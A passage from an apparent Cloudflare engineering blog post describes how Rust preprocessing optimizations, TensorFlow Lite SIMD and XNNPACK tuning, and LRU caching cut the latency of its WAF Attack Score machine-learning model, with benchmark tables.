    <p>Rust hash maps are generally quite fast. However, when that many lookups are being performed, it's not very cache friendly.</p><p>So can we do better than hash maps, and what should we try first? The answer is the <a href="https://docs.rs/aho-corasick/latest/aho_corasick/">Aho-Corasick library</a>.</p><p>This library provides multiple pattern search principally through an implementation of the <a href="https://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_algorithm">Aho-Corasick algorithm</a>, which builds a fast finite state machine for executing searches in linear time.</p><p>We can also tune Aho-Corasick settings based on this recommendation:</p><blockquote><p><i>“You might want to use</i> <a href="https://docs.rs/aho-corasick/1.1.3/aho_corasick/struct.AhoCorasickBuilder.html#method.kind"><i>AhoCorasickBuilder::kind</i></a> <i>to set your searcher to always use</i> <a href="https://docs.rs/aho-corasick/1.1.3/aho_corasick/enum.AhoCorasickKind.html#variant.DFA"><i>AhoCorasickKind::DFA</i></a> <i>if search speed is critical and memory usage isn’t a concern.”</i></p></blockquote>
            <pre><code>static ref NORM_VOCAB_AC: AhoCorasick = AhoCorasick::builder().kind(Some(AhoCorasickKind::DFA)).build(&amp;[    
    "abc",
    "def",
    "wuq",
    "ijf",
    "iru",
    "piw",
    "mjw",
    "isn",
    "od ",
    "pro",
    ...
]).unwrap();</code></pre>
            <p>Then we use the constructed AhoCorasick dictionary to lookup ngrams using its <a href="https://docs.rs/aho-corasick/latest/aho_corasick/struct.AhoCorasick.html#method.find_overlapping_iter">find_overlapping_iter</a> method:</p>
            <pre><code>for mat in NORM_VOCAB_AC.find_overlapping_iter(&amp;input) {
    tensor_input_data[mat.pattern().as_usize() + 1] += 1.0;
}</code></pre>
            <p>We ran benchmarks and compared them against the baseline times shown above:</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Baseline time, μs</span></th>
    <th><span>Aho-Corasick time, μs</span></th>
    <th><span>Optimization</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>preprocessing/long-body-9482</span></td>
    <td><span>248.46</span></td>
    <td><span>129.59</span></td>
    <td><span>-47.84% or 1.64x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-body-1000</span></td>
    <td><span>28.19</span></td>
    <td>	<span>16.47</span></td>
    <td><span>-41.56% or 1.71x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-url-44</span></td>
    <td><span>1.45</span></td>
    <td><span>1.01</span></td>
    <td><span>-30.38% or 1.44x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-ua-91</span></td>
    <td><span>2.87</span></td>
    <td><span>1.90</span></td>
    <td><span>-33.60% or 1.51x</span></td>
  </tr>
</tbody></table><p>That's substantially better – Aho-Corasick DFA does wonders.</p>
    <div>
      <h3>Optimization attempt #2: Aho-Corasick → match</h3>
      <a href="#optimization-attempt-2-aho-corasick-match">
        
      </a>
    </div>
    <p>One would think optimization with Aho-Corasick DFA is enough and that it seems unlikely that anything else can beat it. Yet, we can throw Aho-Corasick away and simply use the Rust match statement and let the compiler do the optimization for us!</p>
            <pre><code>#[inline]
const fn norm_vocab_lookup(ngram: &amp;[u8; 3]) -&gt; usize {     
    match ngram {
        b"abc" =&gt; 1,
        b"def" =&gt; 2,
        b"wuq" =&gt; 3,
        b"ijf" =&gt; 4,
        b"iru" =&gt; 5,
        b"piw" =&gt; 6,
        b"mjw" =&gt; 7,
        b"isn" =&gt; 8,
        b"od " =&gt; 9,
        b"pro" =&gt; 10,
        ...
        _ =&gt; 0,
    }
}```</code></pre>
            <p>Here's how it performs in practice, based on the assembly generated by the <a href="https://godbolt.org/z/dqTq5n5Y3">Godbolt compiler explorer</a>. The corresponding assembly code efficiently implements this lookup by employing a jump table and byte-wise comparisons to determine the return value based on input sequences, optimizing for quick decisions and minimal branching. Although the example only includes ten ngrams, it's important to note that in applications like our WAF Attack Score ML models, we deal with thousands of ngrams. This simple match-based approach outshines both HashMap lookups and the Aho-Corasick method.</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Baseline time, μs</span></th>
    <th><span>Match time, μs</span></th>
    <th><span>Optimization</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>preprocessing/long-body-9482</span></td>
    <td><span>248.46</span></td>
    <td>	<span>112.96</span></td>
    <td><span>-54.54% or 2.20x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-body-1000</span></td>
    <td><span>28.19</span></td>
    <td>	<span>13.12</span></td>
    <td><span>-53.45% or 2.15x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-url-44</span></td>
    <td><span>1.45</span></td>
    <td><span>0.75</span></td>
    <td><span>-48.37% or 1.94x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-ua-91</span></td>
    <td><span>2.87</span></td>
    <td><span>1.4076</span></td>
    <td><span>-50.91% or 2.04x</span></td>
  </tr>
</tbody></table><p>Switching to match gave us another 7-18% drop in latency, depending on the case.</p>
    <div>
      <h3>Optimization attempt #3: Regex → WindowedReplacer</h3>
      <a href="#optimization-attempt-3-regex-windowedreplacer">
        
      </a>
    </div>
    <p>So, what exactly is the purpose of <i>Regex::replace_all</i> in pre-processing? Regex is defined and used like this:</p>
            <pre><code>pub static SIG_REGEX: Lazy&lt;Regex&gt; =
    Lazy::new(|| RegexBuilder::new("[a-z]+").unicode(false).build().unwrap());
    ... 
    let res = SIG_REGEX.replace_all(&amp;input, b"#");
    for s in res.windows(3) {
        tensor[sig_vocab_lookup(s.try_into().unwrap())] += 1.0;
    }</code></pre>
            <p>Essentially, all we need is to:</p><ol><li><p>Replace every sequence of lowercase letters in the input with a single byte "#".</p></li><li><p>Iterate over replaced bytes in a windowed fashion with a step of 3 bytes representing an ngram.</p></li><li><p>Look up the ngram index and increment it in the tensor.</p></li></ol><p>This logic seems simple enough that we could implement it more efficiently with a single pass over the input and without any allocations:</p>
            <pre><code>type Window = [u8; 3];
type Iter&lt;'a&gt; = Peekable&lt;std::slice::Iter&lt;'a, u8&gt;&gt;;

pub struct WindowedReplacer&lt;'a&gt; {
    window: Window,
    input_iter: Iter&lt;'a&gt;,
}

#[inline]
fn is_replaceable(byte: u8) -&gt; bool {
    matches!(byte, b'a'..=b'z')
}

#[inline]
fn next_byte(iter: &amp;mut Iter) -&gt; Option&lt;u8&gt; {
    let byte = iter.next().copied()?;
    if is_replaceable(byte) {
        while iter.next_if(|b| is_replaceable(**b)).is_some() {}
        Some(b'#')
    } else {
        Some(byte)
    }
}

impl&lt;'a&gt; WindowedReplacer&lt;'a&gt; {
    pub fn new(input: &amp;'a [u8]) -&gt; Option&lt;Self&gt; {
        let mut window: Window = Default::default();
        let mut iter = input.iter().peekable();
        for byte in window.iter_mut().skip(1) {
            *byte = next_byte(&amp;mut iter)?;
        }
        Some(WindowedReplacer {
            window,
            input_iter: iter,
        })
    }
}

impl&lt;'a&gt; Iterator for WindowedReplacer&lt;'a&gt; {
    type Item = Window;

    #[inline]
    fn next(&amp;mut self) -&gt; Option&lt;Self::Item&gt; {
        for i in 0..2 {
            self.window[i] = self.window[i + 1];
        }
        let byte = next_byte(&amp;mut self.input_iter)?;
        self.window[2] = byte;
        Some(self.window)
    }
}</code></pre>
            <p>By utilizing the <i>WindowedReplacer</i>, we simplify the replacement logic:</p>
            <pre><code>if let Some(replacer) = WindowedReplacer::new(&amp;input) {                
    for ngram in replacer.windows(3) {
        tensor[sig_vocab_lookup(ngram.try_into().unwrap())] += 1.0;
    }
}</code></pre>
            <p>This new approach not only eliminates the need for allocating additional buffers to store replaced content, but also leverages Rust's iterator optimizations, which the compiler can more effectively optimize. You can view an example of the assembly output for this new iterator at the provided <a href="https://godbolt.org/z/fjaoP7z6Y">Godbolt link</a>.</p><p>Now let's benchmark this and compare against the original implementation:</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Baseline time, μs</span></th>
    <th><span>Match time, μs</span></th>
    <th><span>Optimization</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>preprocessing/long-body-9482</span></td>
    <td><span>248.46</span></td>
    <td>	<span>51.00</span></td>
    <td><span>-79.47% or 4.87x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-body-1000</span></td>
    <td><span>28.19</span></td>
    <td>	<span>5.53</span></td>
    <td><span>-80.36% or 5.09x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-url-44</span></td>
    <td><span>1.45</span></td>
    <td><span>0.40</span></td>
    <td><span>-72.11% or 3.59x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-ua-91</span></td>
    <td><span>2.87</span></td>
    <td><span>0.69</span></td>
    <td><span>-76.07% or 4.18x</span></td>
  </tr>
</tbody></table><p>The new letters replacement implementation has doubled the preprocessing speed compared to the previously optimized version using match statements, and it is four to five times faster than the original version!</p>
    <div>
      <h3>Optimization attempt #4: Going nuclear with branchless ngram lookups</h3>
      <a href="#optimization-attempt-4-going-nuclear-with-branchless-ngram-lookups">
        
      </a>
    </div>
    <p>At this point, 4-5x improvement might seem like a lot and there is no point pursuing any further optimizations. After all, using an ngram lookup with a match statement has beaten the following methods, with benchmarks omitted for brevity:</p>
<table><thead>
  <tr>
    <th><span>Lookup method</span></th>
    <th><span>Description</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><a href="https://doc.rust-lang.org/std/collections/struct.HashMap.html"><span>std::collections::HashMap</span></a></td>
    <td><span>Uses </span><a href="https://github.com/rust-lang/hashbrown"><span>Google’s SwissTable</span></a><span> design with SIMD lookups to scan multiple hash entries in parallel. </span></td>
  </tr>
  <tr>
    <td><a href="https://docs.rs/aho-corasick/latest/aho_corasick/#"><span>Aho-Corasick</span></a><span> matcher with and without </span><a href="https://docs.rs/aho-corasick/latest/aho_corasick/dfa/struct.DFA.html"><span>DFA</span></a></td>
    <td><span>Also utilizes SIMD instructions in some cases.</span></td>
  </tr>
  <tr>
    <td><a href="https://crates.io/crates/phf"><span>phf crate</span></a><span> </span></td>
    <td><span>A library to generate efficient lookup tables at compile time using </span><a href="https://en.wikipedia.org/wiki/Perfect_hash_function"><span>perfect hash functions</span></a><span>.</span></td>
  </tr>
  <tr>
    <td><a href="https://crates.io/crates/ph"><span>ph crate</span></a></td>
    <td><span>Another Rust library of data structures based on perfect hashing. </span></td>
  </tr>
  <tr>
    <td><a href="https://crates.io/crates/quickphf"><span>quickphf crate</span></a></td>
    <td><span>A Rust crate that allows you to use static compile-time generated hash maps and hash sets using </span><a href="https://arxiv.org/abs/2104.10402"><span>PTHash perfect hash functions</span></a><span>.</span></td>
  </tr>
</tbody></table><p>However, if we look again at <a href="https://godbolt.org/z/dqTq5n5Y3">the assembly of the norm_vocab_lookup function</a>, it is clear that the execution flow has to perform a bunch of comparisons using <i>cmp</i> instructions. This creates many branches for the CPU to handle, which can lead to branch mispredictions. Branch mispredictions occur when the CPU incorrectly guesses the path of execution, causing delays as it discards partially completed instructions and fetches the correct ones. By reducing or eliminating these branches, we can avoid these mispredictions and improve the efficiency of the lookup process. How can we get rid of those branches when there is a need to look up thousands of unique ngrams?</p><p>Since there are only 3 bytes in each ngram, we can build two lookup tables of 256 x 256 x 256 size, storing the ngram tensor index. With this naive approach, our memory requirements will be: 256 x 256 x 256 x 2 x 2 = 64 MB, which seems like a lot.</p><p>However, given that we only care about ASCII bytes 0..127, then memory requirements can be lower: 128 x 128 x 128 x 2 x 2 = 8 MB, which is better. However, we will need to check for bytes &gt;= 128, which will introduce a branch again.</p><p>So can we do better? Considering that the actual number of distinct byte values used in the ngrams is significantly less than the total possible 256 values, we can reduce memory requirements further by employing the following technique:</p><p>1. To avoid the branching caused by comparisons, we use precomputed offset lookup tables. This means instead of comparing each byte of the ngram during each lookup, we precompute the positions of each possible byte in a lookup table. This way, we replace the comparison operations with direct memory accesses, which are much faster and do not involve branching. We build an ngram bytes offsets lookup const array, storing each unique ngram byte offset position multiplied by the number of unique ngram bytes:</p>
            <pre><code>const NGRAM_OFFSETS: [[u32; 256]; 3] = [
    [
        // offsets of first byte in ngram
    ],
    [
        // offsets of second byte in ngram
    ],
    [
        // offsets of third byte in ngram
    ],
];</code></pre>
            <p>2. Then to obtain the ngram index, we can use this simple const function:</p>
            <pre><code>#[inline]
const fn ngram_index(ngram: [u8; 3]) -&gt; usize {
    (NGRAM_OFFSETS[0][ngram[0] as usize]
        + NGRAM_OFFSETS[1][ngram[1] as usize]
        + NGRAM_OFFSETS[2][ngram[2] as usize]) as usize
}</code></pre>
            <p>3. To look up the tensor index based on the ngram index, we construct another const array at compile time using a list of all ngrams, where N is the number of unique ngram bytes:</p>
            <pre><code>const NGRAM_TENSOR_IDX: [u16; N * N * N] = {
    let mut arr = [0; N * N * N];
    arr[ngram_index(*b"abc")] = 1;
    arr[ngram_index(*b"def")] = 2;
    arr[ngram_index(*b"wuq")] = 3;
    arr[ngram_index(*b"ijf")] = 4;
    arr[ngram_index(*b"iru")] = 5;
    arr[ngram_index(*b"piw")] = 6;
    arr[ngram_index(*b"mjw")] = 7;
    arr[ngram_index(*b"isn")] = 8;
    arr[ngram_index(*b"od ")] = 9;
    ...
    arr
};</code></pre>
            <p>4. Finally, to update the tensor based on given ngram, we lookup the ngram index, then the tensor index, and then increment it with help of <a href="https://doc.rust-lang.org/std/primitive.slice.html#method.get_unchecked_mut">get_unchecked_mut</a>, which avoids unnecessary (in this case) boundary checks and eliminates another source of branching:</p>
            <pre><code>#[inline]
fn update_tensor_with_ngram(tensor: &amp;mut [f32], ngram: [u8; 3]) {
    let ngram_idx = ngram_index(ngram);
    debug_assert!(ngram_idx &lt; NGRAM_TENSOR_IDX.len());
    unsafe {
        let tensor_idx = *NGRAM_TENSOR_IDX.get_unchecked(ngram_idx) as usize;
        debug_assert!(tensor_idx &lt; tensor.len());
        *tensor.get_unchecked_mut(tensor_idx) += 1.0;
    }
}</code></pre>
            <p>This logic works effectively, passes correctness tests, and most importantly, it's completely branchless! Moreover, the memory footprint of used lookup arrays is tiny – just ~500 KiB of memory – which easily fits into modern CPU L2/L3 caches, ensuring that expensive cache misses are rare and performance is optimal.</p><p>The last trick we will employ is loop unrolling for ngrams processing. By taking 6 ngrams (corresponding to 8 bytes of the input array) at a time, the compiler can unroll the second loop and auto-vectorize it, leveraging parallel execution to improve performance:</p>
            <pre><code>const CHUNK_SIZE: usize = 6;

let chunks_max_offset =
    ((input.len().saturating_sub(2)) / CHUNK_SIZE) * CHUNK_SIZE;
for i in (0..chunks_max_offset).step_by(CHUNK_SIZE) {
    for ngram in input[i..i + CHUNK_SIZE + 2].windows(3) {
        update_tensor_with_ngram(tensor, ngram.try_into().unwrap());
    }
}</code></pre>
            <p>Tying up everything together, our final pre-processing benchmarks show the following:</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Baseline time, μs</span></th>
    <th><span>Branchless time, μs</span></th>
    <th><span>Optimization</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>preprocessing/long-body-9482</span></td>
    <td><span>248.46</span></td>
    <td><span>21.53</span></td>
    <td><span>-91.33% or 11.54x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-body-1000</span></td>
    <td><span>28.19</span></td>
    <td><span>2.33</span></td>
    <td><span>-91.73% or 12.09x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-url-44</span></td>
    <td><span>1.45</span></td>
    <td>	<span>0.26</span></td>
    <td><span>-82.34% or 5.66x</span></td>
  </tr>
  <tr>
    <td><span>preprocessing/avg-ua-91</span></td>
    <td><span>2.87</span></td>
    <td>	<span>0.43</span></td>
    <td><span>-84.92% or 6.63x</span></td>
  </tr>
</tbody></table><p>The longer input is, the higher the latency drop will be due to branchless ngram lookups and loop unrolling, ranging from <b>six to twelve times faster</b> than baseline implementation.</p><p>After trying various optimizations, the final version of pre-processing retains optimization attempts 3 and 4, using branchless ngram lookup with offset tables and a single-pass non-allocating replacement iterator.</p><p>There are potentially more CPU cycles left on the table, and techniques like memory pre-fetching and manual SIMD intrinsics could speed this up a bit further. However, let's now switch gears into looking at inference latency a bit closer.</p>
    <div>
      <h2>Model inference optimizations</h2>
      <a href="#model-inference-optimizations">
        
      </a>
    </div>
    
    <div>
      <h3>Initial benchmarks</h3>
      <a href="#initial-benchmarks">
        
      </a>
    </div>
    <p>Let’s have a look at original performance numbers of the WAF Attack Score ML model, which uses <a href="https://github.com/tensorflow/tensorflow/releases/tag/v2.6.0">TensorFlow Lite 2.6.0</a>:</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Inference time, μs</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>inference/long-body-9482</span></td>
    <td><span>247.31</span></td>
  </tr>
  <tr>
    <td><span>inference/avg-body-1000</span></td>
    <td><span>246.31</span></td>
  </tr>
  <tr>
    <td><span>inference/avg-url-44</span></td>
    <td><span>246.40</span></td>
  </tr>
  <tr>
    <td><span>inference/avg-ua-91</span></td>
    <td><span>246.88</span></td>
  </tr>
</tbody></table><p>Model inference is actually independent of the original input length, as inputs are transformed into tensors of predetermined size during the pre-processing phase, which we optimized above. From now on, we will refer to a singular inference time when benchmarking our optimizations.</p><p>Digging deeper with profiler, we observed that most of the time is spent on the following operations:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3uy64gatRk8PfdnpRz5Xm5/0d3da469c30e5941524289c1b13574c5/unnamed--6--6.png" />
            
            </figure>
<table><thead>
  <tr>
    <th><span>Function name</span></th>
    <th><span>% Time spent</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>tflite::tensor_utils::PortableMatrixBatchVectorMultiplyAccumulate</span></td>
    <td><span>42.46%</span></td>
  </tr>
  <tr>
    <td><span>tflite::tensor_utils::PortableAsymmetricQuantizeFloats</span></td>
    <td><span>30.59%</span></td>
  </tr>
  <tr>
    <td><span>tflite::optimized_ops::SoftmaxImpl</span></td>
    <td><span>12.02%</span></td>
  </tr>
  <tr>
    <td><span>tflite::reference_ops::MaximumMinimumBroadcastSlow</span></td>
    <td><span>5.35%</span></td>
  </tr>
  <tr>
    <td><span>tflite::ops::builtin::elementwise::LogEval</span></td>
    <td><span>4.13%</span></td>
  </tr>
</tbody></table><p>The most expensive operation is matrix multiplication, which boils down to iteration within <a href="https://github.com/tensorflow/tensorflow/blob/v2.6.0/tensorflow/lite/kernels/internal/reference/portable_tensor_utils.cc#L119-L136">three nested loops</a>:</p>
            <pre><code>void PortableMatrixBatchVectorMultiplyAccumulate(const float* matrix,
                                                 int m_rows, int m_cols,
                                                 const float* vector,
                                                 int n_batch, float* result) {
  float* result_in_batch = result;
  for (int b = 0; b &lt; n_batch; b++) {
    const float* matrix_ptr = matrix;
    for (int r = 0; r &lt; m_rows; r++) {
      float dot_prod = 0.0f;
      const float* vector_in_batch = vector + b * m_cols;
      for (int c = 0; c &lt; m_cols; c++) {
        dot_prod += *matrix_ptr++ * *vector_in_batch++;
      }
      *result_in_batch += dot_prod;
     ++result_in_batch;
    }
  }
}</code></pre>
            <p>This doesn’t look very efficient and many <a href="https://en.algorithmica.org/hpc/algorithms/matmul/">blogs</a> and <a href="https://www.cs.utexas.edu/~flame/pubs/GotoTOMS_revision.pdf">research papers</a> have been written on how matrix multiplication can be optimized, which basically boils down to:</p><ul><li><p><b>Blocking</b>: Divide matrices into smaller blocks that fit into the cache, improving cache reuse and reducing memory access latency.</p></li><li><p><b>Vectorization</b>: Use SIMD instructions to process multiple data points in parallel, enhancing efficiency with vector registers.</p></li><li><p><b>Loop Unrolling</b>: Reduce loop control overhead and increase parallelism by executing multiple loop iterations simultaneously.</p></li></ul><p>To gain a better understanding of how these techniques work, we recommend watching this video, which brilliantly depicts the process of matrix multiplication:</p>
<p></p>
    <div>
      <h3>Tensorflow Lite with AVX2</h3>
      <a href="#tensorflow-lite-with-avx2">
        
      </a>
    </div>
    <p>TensorFlow Lite does, in fact, support SIMD matrix multiplication – we just need to enable it and re-compile the TensorFlow Lite library:</p>
            <pre><code>if [[ "$(uname -m)" == x86_64* ]]; then
    # On x86_64 target x86-64-v3 CPU to enable AVX2 and FMA.
    arguments+=("--copt=-march=x86-64-v3")
fi</code></pre>
            <p>After running profiler again using the SIMD-optimized TensorFlow Lite library:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6NmJhJoYG42ZZhU41m0Uj5/1d9fce45d44f98b41375d6a56f1a7cac/unnamed--7--5.png" />
            
            </figure><p>Top operations as per profiler output:</p>
<table><thead>
  <tr>
    <th><span>Function name</span></th>
    <th><span>% Time spent</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>tflite::tensor_utils::SseMatrixBatchVectorMultiplyAccumulateImpl</span></td>
    <td><span>43.01%</span></td>
  </tr>
  <tr>
    <td><span>tflite::tensor_utils::NeonAsymmetricQuantizeFloats</span></td>
    <td><span>22.46%</span></td>
  </tr>
  <tr>
    <td><span>tflite::reference_ops::MaximumMinimumBroadcastSlow</span></td>
    <td><span>7.82%</span></td>
  </tr>
  <tr>
    <td><span>tflite::optimized_ops::SoftmaxImpl</span></td>
    <td><span>6.61%</span></td>
  </tr>
  <tr>
    <td><span>tflite::ops::builtin::elementwise::LogEval</span></td>
    <td><span>4.63%</span></td>
  </tr>
</tbody></table><p>Matrix multiplication now uses <a href="https://github.com/tensorflow/tensorflow/blob/15ec568b5505727c940b651aeb2a9643b504086c/tensorflow/lite/kernels/internal/optimized/sse_tensor_utils.cc#L161-L199">AVX2 instructions</a>, which uses blocks of 8x8 to multiply and accumulate the multiplication result.</p><p>Proportionally, matrix multiplication and <a href="https://www.cloudflare.com/learning/ai/what-is-quantization/">quantization</a> operations take a similar time share when compared to non-SIMD version, however in absolute numbers, it’s almost twice as fast when SIMD optimizations are enabled:</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Baseline time, μs</span></th>
    <th><span>SIMD time, μs</span></th>
    <th><span>Optimization</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>inference/avg-body-1000</span></td>
    <td><span>246.31</span></td>
    <td><span>130.07</span></td>
    <td><span>-47.19% or 1.89x</span></td>
  </tr>
</tbody></table><p>Quite a nice performance boost just from a few lines of build config change!</p>
    <div>
      <h3>Tensorflow Lite with XNNPACK</h3>
      <a href="#tensorflow-lite-with-xnnpack">
        
      </a>
    </div>
    <p>Tensorflow Lite comes with a useful benchmarking tool called <a href="https://github.com/tensorflow/tensorflow/tree/master/tensorflow/lite/tools/benchmark">benchmark_model</a>, which also has a built-in profiler.</p><p>The tool can be built locally using the command:</p>
            <pre><code>bazel build -j 4 --copt=-march=native -c opt tensorflow/lite/tools/benchmark:benchmark_model</code></pre>
            <p>After building, benchmarks were run with different settings:</p>
<table><thead>
  <tr>
    <th><span>Benchmark run</span></th>
    <th><span>Inference time, μs</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>benchmark_model --graph=model.tflite --num_runs=100000 --use_xnnpack=false</span></td>
    <td><span>105.61</span></td>
  </tr>
  <tr>
    <td><span>benchmark_model --graph=model.tflite --num_runs=100000 --use_xnnpack=true --xnnpack_force_fp16=true</span></td>
    <td><span>111.95</span></td>
  </tr>
  <tr>
    <td><span>benchmark_model --graph=model.tflite --num_runs=100000 --use_xnnpack=true</span></td>
    <td><span>49.05</span></td>
  </tr>
</tbody></table><p>Tensorflow Lite with XNNPACK enabled emerges as a leader, achieving ~50% latency reduction, when compared to the original Tensorflow Lite implementation.</p><p>More technical details about XNNPACK can be found in these blog posts:</p><ul><li><p><a href="https://blog.tensorflow.org/2022/06/Profiling-XNNPACK-with-TFLite.html">Profiling XNNPACK with TFLite</a></p></li><li><p><a href="https://blog.tensorflow.org/2024/04/faster-dynamically-quantized-inference-with-xnnpack.html">Faster Dynamically Quantized Inference with XNNPack</a></p></li></ul><p>Re-running benchmarks with XNNPack enabled, we get the following results:</p>
<table><thead>
  <tr>
    <th><span>Benchmark case</span></th>
    <th><span>Baseline time, μs</span><br /><span>TFLite 2.6.0</span></th>
    <th><span>SIMD time, μs</span><br /><span>TFLite 2.6.0</span></th>
    <th><span>SIMD time, μs</span><br /><span>TFLite 2.16.1</span></th>
    <th><span>SIMD + XNNPack time, μs</span><br /><span>TFLite 2.16.1</span></th>
    <th><span>Optimization</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>inference/avg-body-1000</span></td>
    <td><span>246.31</span></td>
    <td><span>130.07</span></td>
    <td><span>115.17</span></td>
    <td><span>56.22</span></td>
    <td><span>-77.17% or 4.38x</span></td>
  </tr>
</tbody></table><p>By upgrading TensorFlow Lite from 2.6.0 to 2.16.1 and enabling SIMD optimizations along with the XNNPack, we were able to decrease WAF ML model inference time more than <b>four-fold</b>, achieving a <b>77.17%</b> reduction.</p>
    <div>
      <h2>Caching inference result</h2>
      <a href="#caching-inference-result">
        
      </a>
    </div>
    <p>While making code faster through pre-processing and inference optimizations is great, it's even better when code doesn't need to run at all. This is where caching comes in. <a href="https://en.wikipedia.org/wiki/Amdahl%27s_law">Amdahl's Law</a> suggests that optimizing only parts of a program has diminishing returns. By avoiding redundant executions with caching, we can achieve significant performance gains beyond the limitations of traditional code optimization.</p><p>A simple key-value cache would quickly occupy all available memory on the server due to the high cardinality of URLs, HTTP headers, and HTTP bodies. However, because "everything on the Internet has an L-shape" or more specifically, follows a <a href="https://en.wikipedia.org/wiki/Zipf%27s_law">Zipf's law</a> distribution, we can optimize our caching strategy.</p><p><a href="https://en.wikipedia.org/wiki/Zipf%27s_law">Zipf</a>'<a href="https://en.wikipedia.org/wiki/Zipf%27s_law">s law</a> states that in many natural datasets, the frequency of any item is inversely proportional to its rank in the frequency table. In other words, a few items are extremely common, while the majority are rare. By analyzing our request data, we found that URLs, HTTP headers, and even HTTP bodies follow this distribution. For example, here is the user agent header frequency distribution against its rank:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/50OWcB7Buza1Jp77ePY75X/e25e66e7665fccc454df026e5ca37729/unnamed--8--3.png" />
            
            </figure><p>By caching the top-N most frequently occurring inputs and their corresponding inference results, we can ensure that both pre-processing and inference are skipped for the majority of requests. This is where the <a href="https://en.wikipedia.org/wiki/Cache_replacement_policies#LRU">Least Recently Used (LRU)</a> cache comes in – frequently used items stay hot in the cache, while the least recently used ones are evicted.</p><p>We use <a href="https://github.com/openresty/lua-resty-lrucache">lua-resty-mlcache</a> as our caching solution, allowing us to share cached inference results between different Nginx workers via a shared memory dictionary. The LRU cache effectively exploits the <a href="https://en.wikipedia.org/wiki/Space%E2%80%93time_tradeoff">space-time trade-off</a>, where we trade a small amount of memory for significant CPU time savings.</p><p>This approach enables us to achieve a <b>~70%</b> cache hit ratio, significantly reducing latency further, as we will analyze in the final section below.</p>
    <div>
      <h2>Optimization results</h2>
      <a href="#optimization-results">
        
      </a>
    </div>
    <p>The optimizations discussed in this post were rolled out in several phases to ensure system correctness and stability.</p><p>First, we enabled SIMD optimizations for TensorFlow Lite, which reduced WAF ML total execution time by approximately <b>41.80%,</b> decreasing from <b>1519</b> ➔ <b>884 μs</b> on average.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/15SMdamloYpjyUy5ZwH9o0/ab4ec787f870d27a45ff513db1f696c8/unnamed--9--3.png" />
            
            </figure><p>Next, we upgraded TensorFlow Lite from version 2.6.0 to 2.16.1, enabled XNNPack, and implemented pre-processing optimizations. This further reduced WAF ML total execution time by <b>~40.77%</b>, bringing it down from <b>932</b> ➔ <b>552 μs</b> on average. The initial average time of 932 μs was slightly higher than the previous 884 μs due to the increased number of customers using this feature and the months that passed between changes.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/01EuBB1eVopVjUjWsVvwrK/0d908285bd4296d75f5c98918cf1a561/unnamed--10--3.png" />
            
            </figure><p>Lastly, we introduced LRU caching, which led to an additional reduction in WAF ML total execution time by <b>~50.18%</b>, from <b>552</b> ➔ <b>275 μs</b> on average.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6epSwp5jz4ZMaVfdwahZnN/8c23c1b6a90bf301f9e7f6566d4f3295/unnamed--11--3.png" />
            
            </figure><p>Overall, we cut WAF ML execution time by <b>~81.90%</b>, decreasing from <b>1519</b> ➔ <b>275 μs</b>, or <b>5.5x</b> faster!</p><p>To illustrate the significance of this: with Cloudflare’s average rate of 9.5 million requests per second passing through WAF ML, saving <b>1244 microseconds</b> per request equates to saving ~<b>32 years</b> of processing time every single day! That’s in addition to the savings of <b>523 microseconds</b> per request or <b>65 years</b> of processing time per day demonstrated last year in our <a href="/scalable-machine-learning-at-cloudflare">Every request, every microsecond: scalable machine learning at Cloudflare</a> post about our Bot Management product.</p>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>We hope you enjoyed reading about how we made our WAF ML models go brrr, just as much as we enjoyed implementing these optimizations to bring scalable WAF ML to more customers on a truly global scale.</p><p>Looking ahead, we are developing even more sophisticated ML security models. These advancements aim to bring our <a href="https://www.cloudflare.com/application-services/products/waf/">WAF</a> and <a href="https://www.cloudflare.com/application-services/products/bot-management/">Bot Management</a> products to the next level, making them even more useful and effective for our customers.</p> ]]></content:encoded>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Performance]]></category>
            <category><![CDATA[Optimization]]></category>
            <category><![CDATA[Rust]]></category>
            <category><![CDATA[AI WAF]]></category>
            <category><![CDATA[WAF Attack Score]]></category>
            <guid isPermaLink="false">6y0Im81Uj2lKntznfYHfUY</guid>
            <dc:creator>Alex Bocharov</dc:creator>
        </item>
        <item>
